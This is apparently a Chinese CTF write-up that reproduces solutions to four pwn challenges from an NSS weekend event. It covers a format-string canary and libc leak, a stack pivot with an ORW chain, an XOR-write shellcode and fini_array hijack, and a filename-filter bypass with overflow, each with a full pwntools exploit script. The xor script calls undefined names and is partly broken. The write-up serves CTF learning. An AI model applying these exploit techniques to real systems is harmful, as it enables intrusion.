周末 NSS 的 PWN 专题,菜菜的照着别的师傅的 WP 复现一下🫥
love
格式化字符串+ret2libc
是个64位的程序,开启了 canary 保护
主函数中有一个明显的格式化字符串漏洞,在 vlun
函数中 gets 不限制输入
考虑里用格式化字符串泄露 libc 基址,计算偏移获取 system 地址。再利用 gets 改写 GOT 表获取 shell。
格式化字符串部分 buf 存储在 BSS 段上,需要借用栈上的跳板。利用 GDB 查看 printf 处的栈数据:
栈上的第三个参数,也就是格式化字符串的第九个参数 0x7fffffffdfb8 存储的是0x7fffffffdfa8 地址,而这个地址存储 v4 的数值 (555LL 就是以十六进制存储555 这个十进制数字,就是 0x22b;同理 520LL就是 0x208),我们可以直接来改写 V4 数值实现 main 函数中的 if 条件判断进入 vuln 漏洞函数。
同时栈上的第九个参数 ( %15$
)存储的是 canary 的值,第十一个参数 ( %17$
) 指向 __libc_start_main+231
,可以推算出 libc 的基址。
所以我们的格式化字符串就构造为 %520c%9$n,,%15$p,,%17$p
(其中 ,,
用来分隔不同地址)
最终的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) io=process('./pwn' ) libc=ELF('./libc.so.6' ) pop_rdi=0x4013f3 ret=0x40101a payload="%520c%9$n,,%15$p,,%17$p" io.recvuntil('I want to hear your praise of Toka\n' ) io.sendline(payload) io.recvuntil(b",," ) canary=int (io.recv(18 ),16 ) io.recvuntil(b",," ) base=int (io.recv(14 ),16 )-libc.sym[b"__libc_start_main" ]-231 sys_addr=base+libc.sym[b"system" ] sh_addr=base+next (libc.search(b"/bin/sh" )) payload=cyclic(0x28 )+p64(canary)+p64(0 )+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr) io.sendlineafter(b"I know you like him, but you must pass my level\n" ,payload) io.interactive()
rbp
栈迁移 + orw
vuln()
函数里面有一个长度0x10 的栈溢出,所以我们首先考虑栈迁移的利用 。同时在 init()
里面调用了sandbox()
禁用了execve,所以要使用 orw 。
首先移栈到 bss 然后利用 leave_ret ,移栈到前部执行泄露并回到 vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) io=process('./rbp' ) elf=ELF('./rbp' ) libc=ELF('./libc.so.6' ) bss=0x404800 leave_ret=0x40121d pop_rdi=0x401353 read_addr=0x401292 vuln_addr=0x401270 puts_got=elf.got[b"puts" ] puts_plt=elf.plt[b"puts" ] payload=cyclic(0x210 )+p64(bss)+p64(read_addr) io.sendafter(b"try it" ,payload) payload=p64(0 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr) payload= payload.ljust(0x210 ,b'a' )+p64(bss-0x210 )+p64(leave_ret) io.sendline(payload) leak_addr=u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b"\x00" ))-libc.sym[b"puts" ]print ("leak_addr: " +hex (leak_addr)) open_addr=leak_addr+libc.sym[b"open" ] read_addr=leak_addr+libc.sym[b"read" ] write_addr=leak_addr+libc.sym[b"write" ] pop_rsi=leak_addr+0x2601f pop_rdx=leak_addr+0x142c92 payload=cyclic(0x210 )+p64(bss+0x300 -0x210 )+p64(read_addr) io.sendafter(b"try it\n" ,payload) orw=b"/flag\x00\x00\x00" +p64(pop_rdi)+p64(0x404288 )+p64(pop_rsi)+p64(0 )+p64(open_addr) orw+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(0x404a00 )+p64(pop_rdx)+p64(0x50 )+p64(read_addr) orw+=p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(0x404a00 )+p64(pop_rdx)+p64(0x50 )+p64(write_addr) orw=orw.ljust(0x210 ,b"a" )+p64(bss+0x300 -0x210 )+p64(leave_ret) io.send(orw) io.interactive()
xor 题目是一个任何保护都没有被开启并且 rwx 全部开启的程序
首先程序中有一个 flag 判断的循环,我们要保证 flag 小于 0 程序才不会退出,方便我们进行接下来的操作。
我们可以将 flag 的高位写成 0xff,这样的话 flag 的符号位会被覆写为1,即负数。
xorByteWithAddress()
中只有两行代码
1 2 3 4 5 __int64 __fastcall xorByteWithAddress (_BYTE *a1, char a2) { *a1 ^= a2; return (unsigned int )++flag; }
a1
是一个指向 _BYTE
类型的地址(即一个字节大小的数据类型),所以在这个异或的操作中,一次只能异或改写一字节的数据。
因为 rwx 可读可写可执行,我们可以直接向上面写入 sehllcode,劫持 fini_array
指针到shellcode处,这样我们就可以再次异或令 flag 大于零,退出程序时执行 shellcode 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) libc=ELF('./libc.so.6' )def xorwrite (addr,value ): io.sendlineafter(b"addr:" ,hex (addr).encode()) io.sendlineafter(b"value:" ,value) flag=0x600BCC fini_array=0x600970 rwx_addr=0x600d00 xorwrite(flag+3 ,b'0xff' ) shellcode=asm(shellcraft.sh())for i in range (len (shellcode)): xorwrite(rwx+i,shellcode[i]) xorenc(hex (fini_array).encode(),b"0x10" ) xorenc(hex (fini_array+1 ).encode(),b"0x0b" ) xorenc(hex (fini_array+2 ).encode(),b"0x20" ) xorwrite(flag+3 ,b'0xff' ) io.interactive()
read_file 是一个64位的菜单式的读取文件的程序,远程时可以直接读取服务器端的文件。
但是在 load_file 处有 “flag” 字符检测,也就是说我们不能直接 load flag,要尝试修改 flag 文件的 “flag” 字符。
同时在 read_file 处有文本长度的判断,不过长素质由用户输入,小于55时会自动读取 content_size + 56 的数据。
我们首先需要绕过 flag 的检查。
在 load_file()
函数中,scanf 负责接受用户读入信息。我们知道scanf读取数据会在指定长度的数据后添加\x00
空字符
如上图,file_name 和 file_id 都是储存在 BSS 段并且相邻,偏移相差 8 字节。也就是说如果我们在 file_name 读取了刚好8字节的数据,其对应的 \x00
就会覆盖住 file_id ,使 file_id 为 0。
而利用到 fild_id 的函数 read(file_fd, file_content, content_size);
在 fild_id=0 时会从用户键盘来获取用户的输入而不是读取文件。
又因为在此之前由 alloca 来分配 v2 栈空间,我们可以利用 content_size 小于55的条件判断造成溢出,直接覆盖返回地址使程序跳转到 file_fd = open(file_name, 0, 0LL);
,绕过检查再按照程序流程正常读取 flag 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' )def load (payload ): io.sendlineafter(b">> " ,b'1' ) io.sendlineafter(b"file_name : " ,payload) load_addr=0x401493 read_addr=0x4014ee ret=0x40101a load(b"./" ) load(b"flag.txt" ) io.sendlineafter(b">> " ,b'2' ) io.sendlineafter(b"file_content_length : " ,b'1' ) payload=cyclic(0x18 )+p64(load_addr)+p64(ret)*2 +p64(read_addr) io.sendafter(b"read more " ,payload) io.sendlineafter(b"file_content_length : " ,b"1" ) io.interactive()